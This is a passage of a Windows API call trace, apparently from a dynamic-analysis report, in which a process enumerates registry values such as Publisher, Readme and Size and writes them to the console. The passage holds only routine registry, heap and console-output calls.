lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.981] GetConsoleOutputCP () returned 0x1b5 [0149.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.981] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.981] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.981] GetProcessHeap () returned 0x3c0000 [0149.981] GetProcessHeap () returned 0x3c0000 [0149.981] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.981] GetProcessHeap () returned 0x3c0000 [0149.981] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.982] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.982] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.982] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0149.982] GetProcessHeap () returned 0x3c0000 [0149.982] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d78d0 [0149.982] GetProcessHeap () returned 0x3c0000 [0149.982] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.982] GetProcessHeap () returned 0x3c0000 [0149.982] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0149.982] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0149.982] __iob_func () returned 0x7fefd702a80 [0149.982] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.982] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.982] _fileno (_File=0x7fefd702ab0) returned 1 [0149.982] _errno () returned 0x204bb0 [0149.982] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.982] _errno () returned 0x204bb0 [0149.982] GetFileType (hFile=0x50) returned 0x1 [0149.982] lstrlenW (lpString=" ") returned 4 [0149.982] GetConsoleOutputCP () returned 0x1b5 [0149.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.982] GetConsoleOutputCP () returned 0x1b5 [0149.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.982] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.982] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.983] lstrlenW (lpString="Publisher") returned 9 [0149.983] __iob_func () returned 0x7fefd702a80 [0149.983] _fileno (_File=0x7fefd702ab0) returned 1 [0149.983] _errno () returned 0x204bb0 [0149.983] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.983] _errno () returned 0x204bb0 [0149.983] GetFileType (hFile=0x50) returned 0x1 [0149.983] lstrlenW (lpString="Publisher") returned 9 [0149.983] GetConsoleOutputCP () returned 0x1b5 [0149.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.983] GetConsoleOutputCP () returned 0x1b5 [0149.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.983] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.983] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.983] __iob_func () returned 0x7fefd702a80 [0149.983] _fileno (_File=0x7fefd702ab0) returned 1 [0149.983] _errno () returned 0x204bb0 [0149.983] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.983] _errno () returned 0x204bb0 [0149.983] GetFileType (hFile=0x50) returned 0x1 [0149.983] lstrlenW (lpString=" ") returned 4 [0149.983] GetConsoleOutputCP () returned 0x1b5 [0149.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.984] GetConsoleOutputCP () returned 0x1b5 [0149.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.984] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.984] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.984] __iob_func () returned 0x7fefd702a80 [0149.984] _fileno (_File=0x7fefd702ab0) returned 1 [0149.984] _errno () returned 0x204bb0 [0149.984] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.984] _errno () returned 0x204bb0 [0149.984] GetFileType (hFile=0x50) returned 0x1 [0149.984] lstrlenW (lpString="REG_SZ") returned 6 [0149.984] GetConsoleOutputCP () returned 0x1b5 [0149.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.984] GetConsoleOutputCP () returned 0x1b5 [0149.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.984] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.984] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.984] __iob_func () returned 0x7fefd702a80 [0149.984] _fileno (_File=0x7fefd702ab0) returned 1 [0149.984] _errno () returned 0x204bb0 [0149.984] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.984] _errno () returned 0x204bb0 [0149.984] GetFileType (hFile=0x50) returned 0x1 [0149.984] lstrlenW (lpString=" ") returned 4 [0149.985] GetConsoleOutputCP () returned 0x1b5 [0149.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.985] GetConsoleOutputCP () returned 0x1b5 [0149.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.985] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.985] __iob_func () returned 0x7fefd702a80 [0149.985] _fileno (_File=0x7fefd702ab0) returned 1 [0149.985] _errno () returned 0x204bb0 [0149.985] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.985] _errno () returned 0x204bb0 [0149.985] GetFileType (hFile=0x50) returned 0x1 [0149.985] lstrlenW (lpString="Microsoft Corporation") returned 21 [0149.985] GetConsoleOutputCP () returned 0x1b5 [0149.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.985] GetConsoleOutputCP () returned 0x1b5 [0149.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0149.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0149.985] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.986] __iob_func () returned 0x7fefd702a80 [0149.986] _fileno (_File=0x7fefd702ab0) returned 1 [0149.986] _errno () returned 0x204bb0 [0149.986] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.986] _errno () returned 0x204bb0 [0149.986] GetFileType (hFile=0x50) returned 0x1 [0149.986] lstrlenW (lpString="\n") returned 1 [0149.986] GetConsoleOutputCP () returned 0x1b5 [0149.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.986] GetConsoleOutputCP () returned 0x1b5 [0149.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.986] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.986] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.986] GetProcessHeap () returned 0x3c0000 [0149.986] GetProcessHeap () returned 0x3c0000 [0149.986] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.986] GetProcessHeap () returned 0x3c0000 [0149.986] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0149.986] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0149.986] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.986] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.986] GetProcessHeap () returned 0x3c0000 [0149.987] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.987] GetProcessHeap () returned 0x3c0000 [0149.987] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.987] GetProcessHeap () returned 0x3c0000 [0149.987] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.987] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.987] __iob_func () returned 0x7fefd702a80 [0149.987] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.987] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.987] _fileno (_File=0x7fefd702ab0) returned 1 [0149.987] _errno () returned 0x204bb0 [0149.987] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.987] _errno () returned 0x204bb0 [0149.987] GetFileType (hFile=0x50) returned 0x1 [0149.987] lstrlenW (lpString=" ") returned 4 [0149.987] GetConsoleOutputCP () returned 0x1b5 [0149.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.987] GetConsoleOutputCP () returned 0x1b5 [0149.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.988] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.988] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.988] lstrlenW (lpString="Readme") returned 6 [0149.988] __iob_func () returned 0x7fefd702a80 [0149.988] _fileno (_File=0x7fefd702ab0) returned 1 [0149.988] _errno () returned 0x204bb0 [0149.988] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.988] _errno () returned 0x204bb0 [0149.988] GetFileType (hFile=0x50) returned 0x1 [0149.988] lstrlenW (lpString="Readme") returned 6 [0149.988] GetConsoleOutputCP () returned 0x1b5 [0149.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.988] GetConsoleOutputCP () returned 0x1b5 [0149.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0149.988] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.988] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.988] __iob_func () returned 0x7fefd702a80 [0149.988] _fileno (_File=0x7fefd702ab0) returned 1 [0149.988] _errno () returned 0x204bb0 [0149.988] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.988] _errno () returned 0x204bb0 [0149.988] GetFileType (hFile=0x50) returned 0x1 [0149.988] lstrlenW (lpString=" ") returned 4 [0149.988] GetConsoleOutputCP () returned 0x1b5 [0149.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.989] GetConsoleOutputCP () returned 0x1b5 [0149.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.989] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.989] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.989] __iob_func () returned 0x7fefd702a80 [0149.989] _fileno (_File=0x7fefd702ab0) returned 1 [0149.989] _errno () returned 0x204bb0 [0149.989] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.989] _errno () returned 0x204bb0 [0149.989] GetFileType (hFile=0x50) returned 0x1 [0149.989] lstrlenW (lpString="REG_SZ") returned 6 [0149.989] GetConsoleOutputCP () returned 0x1b5 [0149.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.989] GetConsoleOutputCP () returned 0x1b5 [0149.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.989] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.989] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.989] __iob_func () returned 0x7fefd702a80 [0149.989] _fileno (_File=0x7fefd702ab0) returned 1 [0149.990] _errno () returned 0x204bb0 [0149.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.990] _errno () returned 0x204bb0 [0149.990] GetFileType (hFile=0x50) returned 0x1 [0149.990] lstrlenW (lpString=" ") returned 4 [0149.990] GetConsoleOutputCP () returned 0x1b5 [0149.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.990] GetConsoleOutputCP () returned 0x1b5 [0149.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.990] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.990] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.990] __iob_func () returned 0x7fefd702a80 [0149.990] _fileno (_File=0x7fefd702ab0) returned 1 [0149.990] _errno () returned 0x204bb0 [0149.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.990] _errno () returned 0x204bb0 [0149.990] GetFileType (hFile=0x50) returned 0x1 [0149.990] lstrlenW (lpString="") returned 0 [0149.990] __iob_func () returned 0x7fefd702a80 [0149.990] _fileno (_File=0x7fefd702ab0) returned 1 [0149.990] _errno () returned 0x204bb0 [0149.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.990] _errno () returned 0x204bb0 [0149.990] GetFileType (hFile=0x50) returned 0x1 [0149.990] lstrlenW (lpString="\n") returned 1 [0149.990] GetConsoleOutputCP () returned 0x1b5 [0149.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.991] GetConsoleOutputCP () returned 0x1b5 [0149.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.991] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.991] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.991] GetProcessHeap () returned 0x3c0000 [0149.991] GetProcessHeap () returned 0x3c0000 [0149.991] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.991] GetProcessHeap () returned 0x3c0000 [0149.991] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.991] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.991] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.991] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.991] GetProcessHeap () returned 0x3c0000 [0149.991] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.991] GetProcessHeap () returned 0x3c0000 [0149.991] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.991] GetProcessHeap () returned 0x3c0000 [0149.991] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.991] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.991] __iob_func () returned 0x7fefd702a80 [0149.991] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.991] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.991] _fileno (_File=0x7fefd702ab0) returned 1 [0149.991] _errno () returned 0x204bb0 [0149.991] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.991] _errno () returned 0x204bb0 [0149.992] GetFileType (hFile=0x50) returned 0x1 [0149.992] lstrlenW (lpString=" ") returned 4 [0149.992] GetConsoleOutputCP () returned 0x1b5 [0149.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.992] GetConsoleOutputCP () returned 0x1b5 [0149.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.992] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.992] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.992] lstrlenW (lpString="Size") returned 4 [0149.992] __iob_func () returned 0x7fefd702a80 [0149.992] _fileno (_File=0x7fefd702ab0) returned 1 [0149.992] _errno () returned 0x204bb0 [0149.992] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.992] _errno () returned 0x204bb0 [0149.992] GetFileType (hFile=0x50) returned 0x1 [0149.992] lstrlenW (lpString="Size") returned 4 [0149.992] GetConsoleOutputCP () returned 0x1b5 [0149.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.992] GetConsoleOutputCP () returned 0x1b5 [0149.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0149.993] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.993] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.993] __iob_func () returned 0x7fefd702a80 [0149.993] _fileno (_File=0x7fefd702ab0) returned 1 [0149.993] _errno () returned 0x204bb0 [0149.993] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.993] _errno () returned 0x204bb0 [0149.993] GetFileType (hFile=0x50) returned 0x1 [0149.993] lstrlenW (lpString=" ") returned 4 [0149.993] GetConsoleOutputCP () returned 0x1b5 [0149.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.993] GetConsoleOutputCP () returned 0x1b5 [0149.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.993] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.993] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.993] __iob_func () returned 0x7fefd702a80 [0149.993] _fileno (_File=0x7fefd702ab0) returned 1 [0149.993] _errno () returned 0x204bb0 [0149.993] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.993] _errno () returned 0x204bb0 [0149.993] GetFileType (hFile=0x50) returned 0x1 [0149.993] lstrlenW (lpString="REG_SZ") returned 6 [0149.993] GetConsoleOutputCP () returned 0x1b5 [0149.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.994] GetConsoleOutputCP () returned 0x1b5 [0149.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.994] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.994] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.994] __iob_func () returned 0x7fefd702a80 [0149.994] _fileno (_File=0x7fefd702ab0) returned 1 [0149.994] _errno () returned 0x204bb0 [0149.994] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.994] _errno () returned 0x204bb0 [0149.994] GetFileType (hFile=0x50) returned 0x1 [0149.994] lstrlenW (lpString=" ") returned 4 [0149.994] GetConsoleOutputCP 